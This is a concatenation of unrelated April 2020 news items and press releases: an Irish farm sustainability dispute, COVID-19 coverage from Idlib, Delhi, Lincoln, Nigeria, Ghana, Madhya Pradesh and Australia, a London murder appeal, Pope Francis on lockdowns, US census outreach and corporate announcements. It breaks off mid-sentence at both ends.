granted for the use of native Irish grains and pulses in the livestock sector. IGG stated that a credible climate change scheme cannot continue to endorse the use of "cheap, imported, high-carbon-footprint GMO feed from environmentally destructive countries that also use crop protection chemicals that are banned by the EU". In addition, IGG took issue with Bord Bia assurances that the initiative would be voluntary. "A similar approach was applied to the SHAS (Sustainable Horticulture Assurance Scheme) and this cost growers substantial money. There was no gain to growers from this SHAS but if you did not have Origin Green and Q mark you went out of business." Claiming that tillage produced 17 times less GHG per acre than dairy and eight times less than beef, IGG asked why Bord Bia did not consider promoting Irish grain to help reach the state's climate change targets of reducing carbon emissions by 10pc or 2m tonnes by 2030. ICMSA has also called for more clarity on the Bord Bia proposals. However, Bord Bia stressed that the platform is just in the "early stages of development" and it was not intended to change or replace the current Quality Assurance Scheme. Opportunities "There are numerous national and regional programmes operating at farm level in Ireland and the proposed platform would be used as a centralised hub to record the scale of participation in these programmes," Bord Bia said. "The platform also could help to identify opportunities or vulnerabilities in areas of environmental importance on different types of farms and support the achievement of the targets laid out in the Climate Action Plan." The food marketing body said the platform will "support the reputation of Ireland as a sustainable food producing nation by building robust proof points". Bord Bia stressed that use of the Farm Sustainability Platform would be voluntary, "with no cost implication for participation or penalty for those who chose not to use the platform", and that it will be engaging with stakeholders "at all further stages". Of course, you can make arrangements to meet (if not embrace) friends in person, on masked dates six feet apart in the park, but perhaps the revelation is that you dont, in fact, have to say goodbye; that geography is immaterial to the bonds that matter. This may instead be a time to think about how to truly see the people in your life. The Missouri-based photographer Deanna Dikeman spent 27 years recording her departures from her parents house in Sioux City, Iowa, capturing her aging father and mother waving from the driveway. The images became part of a larger series commemorating her familys life through their most ordinary gestures: shoveling snow, swatting a fly, pinning laundry to the line. But its the scenes of farewell that cumulatively devastate and demand that attention be paid. After her fathers death, her mother stands alone. The last pictures are shot in a retirement home, and finally there is only the house without its owners, the garage door rolled down, yellow leaves on the lawn. Image The Ise Jingu shrine complex in Mie Prefecture, Japan, 2014. Credit... Alamy I wonder if theres a deeper question here, of how to deal with a sudden and acute awareness of impermanence. You were about to enter the unknown when the unknown came to you. This isnt just an interruption, some strange interregnum after which life will resume; its a break with all that came before. Perhaps in the ongoing erosions of modern life weve forgotten what it means to endure. The most sacred Shinto site in Japan, the shrine complex Ise Jingu, has been torn down and wholly rebuilt every 20 years since the 7th century (barring periods of warfare), in a ceremony known as shikinen sengu. The point is to preserve not the physical object but, as the art critic Noboru Kawazoe wrote, the intangible essence within it; to understand that the past is not a finished story but an ongoing event, part of a continual becoming. Just a matter of time. That is what many healthcare workers in Syrias Idlib province believe about the emergence of the new coronavirus in the war-battered northwestern region, according to a new report. While it is difficult to predict exactly when a coronavirus case will be confirmed in Idlib, Syrias last rebel-held area in the country, the majority of the medics cited in Tuesdays report by Refugees International said they will be ill-prepared to cope with a severe outbreak. Idlib is surrounded by areas that all have been hit by the coronavirus, report author Sahar Atrache told Al Jazeera. The closure of crossings notwithstanding, routes remain opened to commercial traffic, so a risk of a virus outbreak remains, she said. As of Tuesday, The Damascus-based Syrian government has reported 43 coronavirus cases including three deaths, in areas under its control. Health officials around the world have issued a series of recommendations to avoid the spread of the coronavirus pandemic, but the report noted that compliance with such guidance is simply out of reach for most of Idlibs three million population. Staying at home, frequent washing of hands, keeping space between individuals, stocking on food, medications, and other essentials, cleaning and disinfecting surfaces, are among the many issues that prevail in the region, the report said. When not if violence will resume Since December last year until early March, an escalation in fighting following the launch of an offensive by Syrian government troops, backed by Russia and Iran, created the worst displacement crisis of the war in Syria, now in its 10th year. Nearly one million people were forced to flee the clashes, with many amassing in the already overcrowded camps near the sealed border with Turkey. According to the report, titled A Crisis on Top of a Crisis: COVID-19 Looms over War-Ravaged Idlib, it is inside the many informal camps that the situation is most concerning. Despite efforts to launch awareness and sterilisation campaigns by volunteers from Syrias Civil Defence, a search-and-rescue group that operates in rebel-held parts of Syria, hygiene inside these camps is very poor, it said. Given the living conditions inside the province, prevention and early detection of patients are among the best strategies to avoid a COVID-19 outbreak in Idlib, Atrache said. On average, civilians inside the province have been displaced between five and ten times due to bombardment and recurring government offensives, the report noted. A Russian-Turkish ceasefire in the area has helped maintain relative calm since March this year, but the recent deal hardly guarantees an end to violence, it said, adding that previous ceasefire efforts have quickly faltered. Still, the pandemic might be playing a role in maintaining the relative calm in the province, according to Atrache. Turkey, Russia and Iran are all struggling to contain the spread of the virus at home, she noted. But, for many inside the province, it is a question of when not if violence will resume. Staying home not an option Fighting in Idlib has put more than 80 hospitals out of service. The facilities that continue to function have extremely limited capacity to provide intensive care, the report found. Meanwhile, most of the physicians and healthcare workers who remained in the area are exhausted and under-resourced. There is a lack of doctors, nurses and specialists, and some of those who remain lack the necessary training, the report said. Hospitals across the province have fewer than 100 ventilators, which are crucial for the treatment of severe cases of the disease, while all existing ones are in use. The economic impact of the pandemic has also exacerbated an already devastated economy due to years of war. Many inside the province cant afford to stay home, explained a relief worker in Idlib, quoted in the report. People need to work to feed their families, staying home is not an option for them. Countries that usually provide aid have turned their efforts and attention inward at a time where global efforts have shifted to address domestic concerns. However, crises like the one in Idlib should not be forgotten, Atrache said. The Health Directorate in Idlib and humanitarian organisations formed a taskforce to prepare for a coronavirus outbreak, but no major funding of the $33m appeal has been secured, she said, adding that the US and European donors should step up their support. The report recommends that the United States and European countries should exert diplomatic efforts to maintain the ceasefire in the area. It also calls local groups to allocate existing resources such as food, soap and clean water, and sanitisers to the camps hosting internally displaced people. Toronto, Ontario--(Newsfile Corp. - April 28, 2020) - Tree of Knowledge International Corp. (CSE: TOKI) (the "Company") is pleased to announce the appointment of Dr. Kevin Rod, the current Chief Medical Officer of the Company, as a director and Chief Executive Officer. Dr. Rod is a Family Physician with a focused practice in chronic pain. Dr. Rod is currently also the medical director of the TPC clinics (subsidiaries of the Company) and a lecturer with the University of Toronto DFCM as a clinical teacher. Dr. Rod acts as Medical Investigator, Peer and Facility Assessor for the College of Physicians and Surgeons of Ontario. Dr. Rod has received Awards of Excellence from the University of Toronto DFCM FMLE in 2013 and the Ontario College of Family Physicians in 2008. He is a guest course contributor to Harvard Medical School Department of Continuing Education. Dr. Rod has special research interest in applications of HIFU in chronic pain and neurosurgery. Dr. Rod works on a joint research program with Ryerson University for invention of new medical devices with HIFU applications. Dr. Rod has established the online patient self-management education initiative mypain.ca to promote physical and mental health. Dr. Rod's also received a Certificate of Recognition on behalf of the Prime Minister of Canada in 2014 for teaching activities and contribution to Canada's Pluralism. With respect to his appointment, Dr. Rod stated, "The art and science of medicine is at the core of Tree of Knowledge International Corp.'s business philosophy. I am excited to apply this art and science for the betterment of health for our patients and clients with my position as the director and CEO of the Company." In addition, the Company is pleased to announce the closing of a convertible debenture financing with an arm's length party in the aggregate principal amount of $600,000 (the "Debenture"). The Debenture bears interest at a rate of 10% per annum and matures on April 22, 2021. Interest is payable monthly with principal payable at maturity. Subject to the policies of the Canadian Securities Exchange (the "CSE"), the principal amount of the debenture is convertible into units of the Company ("Units") at a price equal to the 10 day weighted average closing price of the common shares of the Company ("Common Shares") on the CSE during the 10 days prior to the conversion date less: (i) twenty-five percent (25%); or (ii) the maximum allowable discount (as per the CSE), if greater than twenty-five percent (25%), subject to a minimum issue price of $0.05 per unit (in accordance with CSE policies). Each Unit consists of one Common Share and one purchase warrant (each a "Warrant"), with each Warrant exercisable for a period of 3 years from the date of issuance into a Common Share at a price equal to the minimum price allowable by the CSE on the date of issuance. The Company intends to use the proceeds of the Debenture for the development of their clinical business, new product development, and general working capital. For further information please visit: www.tokicorp.com Or contact: Tree of Knowledge International Corp. Michael Caridi, Chairman Tel: +1 (917) 295-1374 Michael@tokicorp.com About Tree of Knowledge TOKI is a public company that delivers pathways to innovative, science-based health and wellness solutions. The Company is a leader in pain management, spanning from seed to patient. Built upon an extensive network of scientific and medical research, TOK is an advanced leader in the development, processing, and distribution of focused products and treatments for pain relief. Tree of Knowledge spans the globe with its multidisciplinary pain clinics, research partners, consumer CBD products, and education and advocacy programs - all working in harmony to bring health and wellness to the world while creating value for shareholders and partners. Forward-Looking Statements Except for statements of historical fact relating to the Company, certain information contained herein relating to the timing of the filing of financial statements constitutes forward-looking statements. Although we believe that the expectations reflected in the forward-looking information are reasonable, there can be no assurance that such expectations will prove to be correct. We cannot guarantee future results, performance or achievements. Consequently, there is no representation that the actual results achieved will be the same, in whole or in part, as those set out in the forward-looking information. Forward-looking statements are based on the opinions and estimates of management at the date the statements are made, and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those projected in the forward-looking statements. The forward-looking information contained in this news release is expressly qualified by this cautionary statement. Except as required by applicable securities laws, the Company undertakes no obligation to update forward-looking statements if circumstances or management's estimates or opinions should change. The reader is cautioned not to place undue reliance on forward-looking statements. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/55001 D etectives have launched a murder investigation after a 37-year-old man died following a vicious assault in west London. Metropolitan Police said the victim had been formally identified as Baljit Singh following the attack in Hayes on Saturday. Police and paramedics were called to Station Road shortly before 11pm to a report of an unresponsive man being found in an alleyway. Mr Singh, who is believed to have lived locally, was pronounced dead at the scene, with his next of kin later informed. Police, who described the attack as "vicious", said a post-mortem examination held on Monday gave his cause of death as compression to the neck. Officers from the Metropolitan Polices specialist crime command want to trace two individuals Mr Singh was with just before his death. It is believed a disagreement may have taken place and Mr Singh was assaulted. Detective Chief Inspector Helen Rance, who is leading the investigation, said: Mr Singh was subjected to a vicious assault; the severity of which has caused him to lose his life. My officers are working through hours of CCTV footage and speaking with people in the area to establish what has happened and identify those responsible. I would like to appeal directly to anyone who was in the vicinity of Station Road, Hayes from around 10pm onwards on Saturday night who may have seen the victim in company with two individuals. Alternatively, if anyone is aware of the victims movements, earlier that day we would be keen to hear from them. The BJP's Delhi unit on Tuesday claimed the sanitation workers of the party-ruled civic bodies were excluded from the city government's list of beneficiaries of its scheme to provide Rs 1-crore ex-gratia to "corona warriors" in case of death due to COVID-19. A senior Delhi government functionary rubbished the BJP'S claim saying all sanitation staff working in the fight against coronavirus epidemic are covered under the scheme. Delhi BJP president Manoj Tiwari, who tweeted a purported Delhi government order listing beneficiaries of the scheme, said it was "unfortunate" that the sanitation workers of the municipal corporations who were serving at the frontline in the fight against the coronavirus epidemic were excluded from it. A copy of the order posted on Twitter by Tiwari did mention among beneficiaries 'sanitation staff' but the BJP leaders claimed it relates to other departments of the government, not the three municipal corporations. "Cheap politics of the BJP even amid corona crisis. Manoj Tiwari ji you are filled with hatred which is impossible to cure. Instead of criticising Arvind Kejriwal, if you had read the order, you would save yourself from being ridiculed. It's clearly mentioned that Rs 1 crore will also be given in case a sanitation staff dies," AAP Rajya Sabha MP Sanjay Singh tweeted. Tiwari, as also mayors and other leaders of BJP-ruled municipal corporations demanded Chief Minister Arvind Kejriwal to include sanitation workers in the list of beneficiaries of the scheme. Delhi Congress vice president and South Delhi Municipal Councilor Abhishek Dutt too raised the demand saying he had written a letter in this regard to the government. "Nobody paid attention then and we were ridiculed even when I started a signature campaign for ex-gratia of Rs 1 crore to a South Delhi Municipal corporation(SDMC) sanitation worker who died due to COVID-19. Now, the BJP has woken up to it," Dutt said. South Delhi Mayor Sunita Kangra in a letter to Kejriwal claimed that SDMC staff were not covered under the compensation scheme. "This exclusion has demotivated our staff and they are feeling discriminated. Now they are unwilling to perform COVID 19 duty under district administration," she said in the letter. She requested the chief minister to extend the benefit of the scheme to SDMC staff. A 57-year-old sanitation worker of the SDMC died last Saturday, after testing positive for coronavirus. BJP's Leader of Opposition in Delhi Assembly Ramvir Singh Bidhuri said sanitation workers of municipal corporations should also be included in the compensation scheme. Delhi BJP spokesperson Praveen Shankar Kapoor in a letter to Lt Governor Anil Baijal has requested him to direct the Delhi government to include municipal staff, especially health and sanitation workers on duty as frontline "Corona warriors" in the list of beneficiaries of its ex-gratia scheme. Local coronavirus cases hit 156 Monday as Lancaster County added 16 cases, according to the Lincoln-Lancaster County Health Department. The county has confirmed 36 new cases of COVID-19 in the last two days. Officials did not release any details about the new cases Monday. More than 3,200 people in Lancaster County had been tested as of Monday, about 1% of the population, and the positive case rate stood at just under 5%. Local testing capacity is expected to double this week to 300 tests per day, interim Lincoln-Lancaster County Health Director Pat Lopez said. She and Lincoln Mayor Leirion Gaylor Baird encouraged anyone experiencing symptoms of COVID-19, including sore throat, fever, cough and shortness of breath, to seek testing. Centers for Disease Control and Prevention officials recently expanded the symptom list to include chills, repeated shaking with chills, muscle pain, headache, sore throat and loss of taste or smell. Photos: Lincoln under pandemic threat Reach the writer at 402-473-2647 or molberding@journalstar.com. On Twitter @LincolnBizBuzz. Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Matt Olberding Business reporter Matt Olberding is a Lincoln native and University of Nebraska-Lincoln graduate who has been covering business for the Journal Star since 2005. Follow Matt Olberding Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Save Manage followed notifications Close Followed notifications Please log in to use this feature Log In Don't have an account? Sign Up Today WASHINGTON A federal appeals court heard arguments on Tuesday in a pair of cases involving disputes between President Trump and the Democrat-controlled House that each raise a technical, yet constitutionally momentous, question: May a chamber of Congress sue the executive branch? In more than two hours of arguments before the Court of Appeals for the District of Columbia Circuit, many of the judges appeared to be looking for a way to side with the House without opening the door to a floodgate of future lawsuits over routine political fights. The disputes involve a subpoena to a former White House lawyer and spending on a border wall. The eventual ruling by nine of the 11 active appeals court judges two others, both former White House aides to Mr. Trump, recused themselves may only be a way station for the dispute. The losing side is likely to appeal to the Supreme Court for a definitive pronouncement, given the long-term constitutional stakes. These cases, both of them, are big deals, Judge Patricia Millett said during the arguments. Douglas Letter, the general counsel for the House, agreed with her. He said that if the court accepted the Justice Departments argument that the House has no standing to sue the executive branch, congressional oversight as it has been known in this country for years is going to change and be very different. By Associated Press ROME: Pope Francis waded into the church-state debate about virus-imposed lockdowns of religious services, calling on Tuesday for "prudence and obedience" to government protocols to prevent infections from surging again. Francis' appeal came just two days after Italian bishops bitterly complained that the Italian government offered no provisions for Masses to resume in its plan to reopen Italian business, social and sporting life starting May 4. While it wasn't clear if Francis intended to send a different message than the bishops, his appeal for obedience and prudence was in line with his previous calls to protect the most vulnerable, and for economic interests to take a back seat to shows of solidarity. ALSO READ| Church in Kerala fights COVID-19, helps women earn At the same time, Francis has certainly chafed at the lockdown, saying early on that he felt like he was in a "cage" and lamenting more recently that the church isn't really "Church" without a community of faithful present and the administration of sacraments. Italian Premier Giuseppe Conte's government announced on Sunday that funerals could resume starting May 4, but there was no information on when the faithful could attend Mass. In response, the Italian bishops' conference expressed outrage that its proposals of safety protocols had apparently been ignored. The bishops said that they "cannot accept that freedom of worship is compromised". They argued the government should have distinguished between its duty to provide health guidance and the church's right to "organize the life of the Christian community, respecting the measures but in full autonomy". Conte's office hastily responded that it was working on protocols to allow the resumption of liturgical services as soon as possible but "in conditions of maximum security". Francis weighed in on the fraught issue Tuesday at the start of morning Mass celebrated alone in the chapel of the Vatican hotel where he lives. ALSO READ| Priest, six others arrested for holding mass in Kerala church amid lockdown Francis has been celebrating daily Mass to empty pews in observance of the Vatican's own lockdown measures, which mirror those of Italy, the epicenter of the European pandemic. "As we are beginning to have protocols to get out of quarantine, let us pray that the Lord gives his people, all of us, the grace of prudence and obedience to the protocols so that the pandemic doesn't return," Francis said. The Vatican has recorded 10 positive cases, the last one confirmed Tuesday in a Holy See official who tested positive but is now asymptomatic. The Vatican said in a statement that all the official's colleagues have tested negative. When Conte locked all of Italy down in March, Francis' vicar of Rome sparked an outcry among some of the faithful when he ordered all churches shut to comply. The vicar, Cardinal Angelo De Donatis, relented after speaking to Francis and allowed diocesan churches to remain open for individual prayer. De Donatis later tested positive for the virus and was hospitalized for 11 days before being released earlier this month. Francis' weekly Sunday blessings from his window overlooking an empty St. Peter's Square, not to mention his solo Holy Week and Easter services, have served as a stark visual reminder of how the pandemic has radically altered the practice of communal religious observance. Some Catholic conservatives and traditionalists have bristled at the closures and framed them as a violation of their right to religious liberty. Some evangelical pastors in the US, Brazil and elsewhere have resisted lockdowns and held services, and big religious observances in South Korea, France and Iran have been been blamed for helping to spread the infection early on. With the final deadline of the 2020 Census self-response period currently in limbo, the regions Census hub coordinator is pushing for residents in the region to respond now. The 2020 Census will provide the federal government with a snapshot of each community in the country and it dictates federal funding for many programs such as SNAP (Supplemental Nutrition Assistance Program), Medicaid, the Section 8 Housing Choice Voucher program, and Head Start. Due to the coronavirus pandemic and social distancing guidelines, the U.S. Census Bureau has asked for a deadline extension to allow more time for people to count themselves. The U.S. Census bureau asked for a deadline extension to Oct. 31 for the self-response period, which is when residents can fill out the questionnaire themselves. It was already pushed back once from July 31 to Aug. 14. However, the extension must be approved by Congress, which Updegraff said could take a while and the outcome is uncertain. So, for now the deadline is till Aug. 14. If we take the Census early and be counted, we are assuring no matter what happens at the federal level, we are assuring that our community gets the funding it needs and the representation it deserves, said Chloe Noelle Updegraff, Great Lakes Bay Region Census Hub coordinator. While extending the deadline could mean more time to count those who are at-risk of not being counted, such as low-income families and immigrant populations, Updegraff said it poses challenges as well. Not only were all the local outreach effort plans based on an earlier deadline, but pushing back the deadline means delaying the results and therefore postponing redistricting and funding for community programs that rely on the census. With the self-response time period being pushed back, then it pushes back when they deliver the results to the president and to the states for redistricting and so it pushes everything back and it really makes it a real challenge for some states then to get the redistricting maps drawn and get funding (for) all of these different community programs that depend on this, Updegraff said. In addition, Updegraff said she and other regional volunteers are hesitant to announce a new deadline until its set in stone, since it could be detrimental to tell people they have more time if the extension was then not approved. Locally, in Midland County and in the Great Lakes Bay Region, our community foundations and local partners are working really hard to make sure that people in the Great Lakes Bay Region respond early, she said. And that way were not relying on, or were not having to rely on Congress to make these changes; that folks in the Great Lakes Bay Region have already stood up and been counted, and we dont have to worry about the time fluctuations. Impacts of the pandemic on local Census efforts During the coronavirus pandemic, it is critical now more than ever that Midland and the Great Lakes Bay Region is getting the resources it needs when it comes to funding for medical facilities, testing, supplies, schools, and emergency preparedness. To ensure Midland gets the resources it is entitled to from the federal government, residents must respond to the U.S. Census, which takes place once every 10 years. For every person not counted in 2020, the state will lose about $1,800. Updegraff said the pandemic has shifted the Census efforts made by grantees and local partners. Although, she said theyve come up with new ways of getting the information out, such as handing out Census toolkits at local school food distributions. In addition, she said the YMCA and Boys and Girls Club as well as the Great Lakes Bay Health Centers, Senior Services, West Midland Family Center, homeless shelters in Bay County and Saginaw, the Great Lakes Bay Hispanic Leadership Institute, and the NAACP chapters are all still distributing paper materials in addition to upping their posts on social media, doing radio interviews, and putting up yard signs encouraging census participation in the community. Delta College is getting the message out too, on both their PBS and NPR stations that reach Saginaw, Midland, and Bay counties, and they are doing eight Census commercials per day using the ads found on the Mi Voice Counts website, on PBS and NPR. The counties, cities, townships and universities in the region are also involved and have been working hard to outreach with their populations as well, Updegraff said. According to census.gov and based on data from April 25, Michigan currently has a response rate of 59.8% compared to the national rate of 53.2%. This makes Michigan the state with the fifth highest response rate, just behind Wisconsin, Minnesota, Iowa, and Nebraska. Looking just at Midland County, the response rate is currently at 67.6%. To take the Census, which takes 10 minutes or less, visit www.2020census.gov call 844-330-2020 or fill out and mail in your questionnaire, which should have been in your mailbox. SEATTLE, WA / ACCESSWIRE / April 27, 2020 / Lexi Vazquez is a tremendous entrepreneur who managed to close 1.2 million dollars in sales in only her second year of being a sales representative. She started working at the age of 15, along with her father in his company - Fast Forward Digital Solutions. While working with her father she learned a lot of valuable knowledge when it came to business and she even got a taste of selling there. At just 19-years-old, Lexi was able to close a 100,000 dollar deal in Multifunction Printers. The experience in the business and sales field helped her very much, but also her tenacity and perseverance. Lexi is a true example of overcoming ageism in a male-driven industry and hopes that she can inspire others to never give up on their dreams and conquer their goals. This is how her entrepreneurship career took off, in 2019 she was named the #1 sales rep. in the State of Florida. Lexi is an experienced account manager in the service and technology space. She is skilled in Customer Service, Sales, Public Speaking, Microsoft Office, and Social Media. Lexi is providing local South Florida companies effective methods of using state-of-the-art office equipment, the newest tech. in IT Management, and other business solutions. One of her bigger strengths is the fact that she is customer-orientated, focused on individualized services, and fulfills her clients' needs. Lexi's number one priority is to positively impact every aspect of her client's business by providing superior hardware technology, innovative software solutions, a tailored budget, and exquisite customer service. She is motivated to grow the client database by establishing win-win long-term relationships for both parties. She focuses on developing strong relationships with her clients while being authentic and transparent. Now she manages 400 accounts from all over the State of Florida, helping various businesses, from start-ups to large established companies, or even at home businesses. Lexi Vazquez is a reliable expert who provides tailored business solutions and the best tech. on the market which can help any business grow. She is highly authentic, staying true to her business partners. Lexi has a successful human approach in the business field. Her career path wasn't easy, but she succeeds to overcome ageism, be persistent, and perseverant to accomplish her goals. Starting her career at an early age, she used the failures as opportunities to grow and develop even better services. It was hard in the beginning to be seen as a professional, due to her young age, but her qualities helped her overcome this. She keeps her promises and commitments, and this made her become trustworthy to her clients and she has proven herself as a top specialist in this field. Every time she succeeds, it builds up her self-confidence even stronger, confirming that she is on the right path. Lexi Vazquez is an expert who can provide reliable services and help businesses grow. Her focus on quality customer services is a huge competitive advantage, letting her build long-lasting business relationships with benefits for both sides. CONTACT: Name: Lexi Vazquez Contact: lexi@fdslf.com SOURCE: Lexi Vazquez View source version on accesswire.com:https://www.accesswire.com/587290/How-Lexi-Vazquez-is-Helping-All-Businesses-Grow-Using-The-Best-Technology-and-Services The Nigeria Private Sector Coalition Against COVID-19 (CACOVID) has so far realised about N27.160 billion to help fight the coronavirus pandemic. The update of the contribution as at April 23, was made known in a document released by Isaac Okorafor, the Director, Communications, Central Bank of Nigeria (CBN), on behalf of the coalition in Abuja on Tuesday. The document containing the list of contributors showed that the donations were made by institutions and individuals across the country. The News Agency of Nigeria (NAN) reports that the CBN and Aliko Dangote were so far the highest contributors of N2 billion each. Abdul Samad Rabiu (BUA Sugar Refinery), Segun Agbaje (GTB), Tony Elumelu (UBA), Oba Otudeko (First Bank), Jim Ovia (Zenith Bank), Herbert Wigwe (Access Bank), and Femi Otedola of Amperion Power Distribution donated N1 billion each to the fund. Also, Deji Adeleke of Pacific Holding Ltd made N500 million donation. NAN also recalls that Union Bank Plc, Sterling Bank Plc, Standard Chartered Bank, Stanbic IBTC, Citi Bank Nigeria Ltd, FCMB, Fidelity and ECO Banks, African Steel Mills donated N250 million each and Multichoice Nigeria Limited contributed N200 million. The list also indicated that some Nigerians made donations of N1,000, N500, N200, N100, N50 and as little as N1.0 to the contribution. Mr Okoroafor said the coalition was grateful to all the institutions and individuals that had donated to the relief fund. He urged others to consider contributing to this national solidarity to provide not only medical equipment and materials but also to render urgently needed palliatives to the poor and vulnerable segment of the society. (NAN) Majority Leader Hoyer Endorses Gift to the Oil Industry as Dems New COVID Package Fails to Block Fossil Fuel Bailout Court Derails Trump Administrations Efforts to Take More Water from Bay-Delta New Research Shows Alarming Impacts of the Corporate Dairy Industry in Oregon New Data Shows Iowa Factory Farms Increasing in Density and Generating Olympic-sized Pool Amounts of Excess Manure House Congressional Leaders Deliver On Universal Water Protection During Pandemic New Research Shows Alarming Impacts of the Corporate Dairy Industry in Michigan New Research Shows Alarming Impacts of the Corporate Poultry Industry in Maryland Court blocks the use of Nationwide Permit 12 for pipeline water crossings New Research Shows Alarming Impacts of Corporate Agriculture Industry in America New Delhi, April 28 : Zomato CEO Deepinder Goyal on Tuesday said that the company has made its 'contactless dining free for all restaurants across India and other global destinations for a period of at least six months. Restaurants in India, the UAE, Australia, New Zealand, Turkey, Portugal, Philippines, Indonesia, and Lebanon will have to only bear the payment gateway fee and Zomato won't charge any fee from them. According to Goyal, the move is to help the restaurant industry financially in these tough COVID-19 lockdown times. "This will inevitably exert significant pressure on our own finances, but I am sure we will survive if the restaurant industry does well. We are all in this together," tweeted Goyal. After contactless delivery to deal with the COVID-19 pandemic, foodtech unicorn Zomato last week announced "contactless dining" feature to help restaurants increase trust and confidence of customers in their safety and hygiene measures in a post-lockdown world. Contactless dining has three main components, contactless menu, contactless ordering and contactless payment. With a contactless menu, diners will be able to scan a QR code on the table to explore the restaurant menu with dish and pairing recommendations. The Zomato app will also enable contactless ordering and payment. "Zomato 'contactless dining' is going to be an important safety net - for restaurants as well as diners to minimize human contact. It is not the only solution, but one of the must haves in order to minimize the probability of spread of COVID-19 at public dining spaces,' said Goyal. He added that once the lockdown starts easing up and diners start trickling into restaurants again, "we cannot let lack of caution lead to a stray incident and derail the industry's reputation". "We have to use abundant caution to save the efforts of millions of people that restaurants employ," he said. Zomato said it is building additional features on the app -- such as the ability to order multiple courses, and the option to pay for self or the entire table -- to ensure a hassle-free dining experience. Bhopal, Apr 28 (PTI) Various companies such as Prism Cement and Yash Technologies have decided to donate advance testing machines to Madhya Pradesh government to fast examine coronavirus samples in the state. COVID-19 testing is a major challenge for the state government, which at present has 2,165 positive cases with 110 deaths so far. As part of CSR initiatives, Prism Cement - a unit of Prism Johnson Lid and Indore-based Yash Technologies will donate two high capacity advanced testing machines. These machines will be installed in Indore and Bhopal for testing corona samples, state Medical Education departments principal secretary Sanjay Shukla told PTI Tuesday. Shukla also informed that these companies were originally planning to donate money to the CM Relief Fund, but later Chief Minister Shivraj Singh Chouhan suggested that it would be better if these firms can provide vital machines for testing instead of funds, as that will expedite the process of availability of these testing units in the state during such a crucial time. These machines are capable of testing 800-1,000 tests per day and have already arrived in Bhopal and Indore, Shukla said. Besides, Vardhman Group, Dalmia Cements and Welspun have also decided to donate such machines to the state for augmenting its testing facilities, which will play a major role in fighting corona virus scare, he said. In order to augment the testing facilities for COVID-19 in Madhya Pradesh, Prism Cement Division of Prism Johnson Limited, as a responsible corporate citizen decided to contribute in this social cause by handing over to the state government a high speed Corona Virus Testing Machine under CSR, Prism Johnson Limiteds general manager, Neelmani Singh said. Made in Singapore RT PCR system QuantStudio 7 Flex system with Ancillaries is one of the most advanced machines available presently and can accurately conduct about 1,000 tests per day. The cost of the machine is Rs 65 lakh. This will help the state government to quickly and accurately test patients and help in halting the spread of the contagious virus. Singh also informed that the machine has already been delivered to the government and it will be installed at Gandhi Medical College (GMC) for testing corona samples. The state will now be able to reduce the pendency of samples and would be able to start treatment of the affected persons at the earliest to check the spread of corona virus, he added. Government, will this year, begin the construction of 88 Hospitals in districts without such facilities, according to President Akufo-Addo. Delivering his eighth televised address to the nation on the outbreak of the novel Coronavirus in the country on Sunday, April 26, 2020, the President said: "There are eighty-eight (88) districts in our country without district hospitals; we have six (6) new regions without regional hospitals; we do not have 5 infectious disease control centres dotted across the country, and we do not have enough testing and isolation centres for diseases like COVD-19. We must do something urgently about this. That is why Government has decided to undertake a major investment in our healthcare infrastructure, the largest in our history. We will, this year, begin constructing eighty-eight (88) hospitals in the districts without hospitals." But some have asked where government is going to get the funds to construct those facilities, especially so when they were not factored in the budget. Information Minister, Kojo Oppong Nkrumah, speaking on Peace FM's morning show Kokrokoo, clarified that the 88 facilities will be completed by 2021 and not this year as it is being speculated. He said "there will be documentation and other paperwork, cabinet approval including funding will be done this year before the construction begins". According to him, "Indeed it is not in the budget, The president gave a policy directive and it is up to the sector ministers and the finance minister to come up with a roadmap to fund the project. I dont think the fact that it is not in the budget will be a problem". Listen to him in the video below Ghana's case count of the novel coronavirus has jumped to 1,550; with the death toll climbing up to 11.The updated case count comes after 271 more persons tested positive for the virus.The Ghana Health Service affirmed this in its latest update of the pandemic's situation in the country on Sunday, April 26, 2020.21 additional recoveries have been confirmed with the total number of recoveries now 155, while 6 persons are said to be "critically or moderately ill". Source: Rebecca Addo Tetteh/Peacefmonline.com/[email protected] Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The federal government is offering private schools a $3.3billion advance if they get children back into classrooms by June. It equates to an early payment of the annual funding they usually get from the government. With the coronavirus crisis easing in Australia, Federal Education Minister Dan Tehan wants to see students getting back to their normal education routines by the end of May. But he's faced pushback from the state governments and private school bodies, who are still concerned about the safety of running schools at full capacity. This is despite Australia's top health experts insisting that it is perfectly safe. Scroll down for video Sports equipment is seen left outside at a primary school in Melbourne on March 23 (pictured) after the state brought forward the school holidays due to the coronavirus outbreak An empty classroom is seen at a primary school in Brisbane on March 30 (pictured) after many families chose to keep their kids at home The minister wrote to the independent schools' peak body and the National Catholic Education Commission to offer an early payment of a quarter of the annual funding. Almost $1.7billion is due to them in July, but if schools commit to having their campus open for some students for term two, they can get the money on May 21. They must also have a plan to fully reopen classrooms at the start of June. The same amount would be paid on June 9 if at least half their students are back in regular classroom-based learning from June 1. The idea is to give schools a cash boost if they need it to cope with the virus crisis while also giving them an incentive to end learning from home. Schools don't have long to consider the offer, with Mr Tehan giving them until Friday to opt in. Teacher Cindy Bunder (pictured) is seen demonstrating a virtual classroom at Glenunga High School in Adelaide on April 3 An empty classroom is seen at a primary school in Melbourne's inner-north on March 23 (pictured) after school holidays were brought forward The medical advice has consistently been that children don't spread the coronavirus very much and are far less likely to catch it than adults. The national health committee said schools can operate with appropriate social distancing arrangements in place, mostly for teachers. There should also be regular cleaning throughout each day of surfaces such as desks, keyboards, doorknobs and playgrounds. Despite this, the Independent Education Union's Queensland and Northern Territory branch released a short research paper on Tuesday that said reopening schools was a 'high-risk strategy'. But the paper primarily highlights research looking at the ways children spread influenza. Chief Medical Officer Brendan Murphy has said a number of times that coronavirus acts very differently to influenza. States are slowing committing to opening up schools, but in Victoria there is still resistance to return to face-to-face learning. Classrooms across Australia have been left empty by the coronavirus pandemic (pictured, a Brisbane school on March 30) with many choosing to keep their kids at home Prime Minister Scott Morrison (pictured) has previously said he would be happy to send his two daughters back to school On Tuesday, the state's premier, Daniel Andrews, defended his 